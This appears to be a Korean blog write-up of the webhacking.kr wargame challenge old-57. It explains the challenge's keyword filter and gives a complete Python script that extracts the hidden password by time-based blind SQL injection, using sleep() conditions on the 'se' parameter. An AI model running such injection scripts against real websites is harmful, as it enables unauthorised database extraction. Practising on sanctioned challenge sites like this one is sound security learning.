old-57 풀이
2024. 4. 7. 18:49ㆍwebhacking.kr
728x90

메시지를 제출할 수 있는 폼이 보입니다
아무거나 넣어보겠습니다

Done이라는 글자만 뜨고, 별다른 변화는 없습니다

msg와 se를 GET 방식으로 받아온 후, addslashes()로 이스케이핑 해줍니다
그 후 preg_match()로 se에 대한 필터링을 합니다
(select, and, or, not, &, |, benchmark)
mysqli_query()를 보면, chall57의 pw를 찾아야 한다는 것을 알 수 있습니다
msg에 값을 넣어줘도 뜨는 게 없으니, se 파라미터에 sleep() 함수를 사용해서 Time-Based로 풀어주겠습니다
import requests
import time
url="https://webhacking.kr/challenge/web-34/index.php?msg=hello&se="
len=0
flag=''
for i in range(50):
query="if(length(pw)={},sleep(5),1)".format(i)
timeCount=time.time()
res=requests.get(url+query, cookies={'PHPSESSID':''})
if(res.text.find("Done")!=-1):
now=time.time()
if now-timeCount>=5:
len=i
break
for i in range(1,len+1):
for j in range(33,128):
query="if(ascii(substr(pw,{},1))={},sleep(5),1)".format(i,j)
timeCount=time.time()
res=requests.get(url+query, cookies={'PHPSESSID':''})
if(res.text.find("Done")!=-1):
now=time.time()
if(now-timeCount>=5):
flag+=chr(j)
break
print(flag)

728x90
'webhacking.kr' 카테고리의 다른 글
g00gle2 풀이 (0) | 2024.04.10 |
---|---|
baby toctou🍼 풀이 (PW = FLAG) (0) | 2024.04.08 |
old-04 풀이 (0) | 2024.04.03 |
old-45 풀이 (1) | 2024.03.27 |
old-60 풀이 (0) | 2024.03.25 |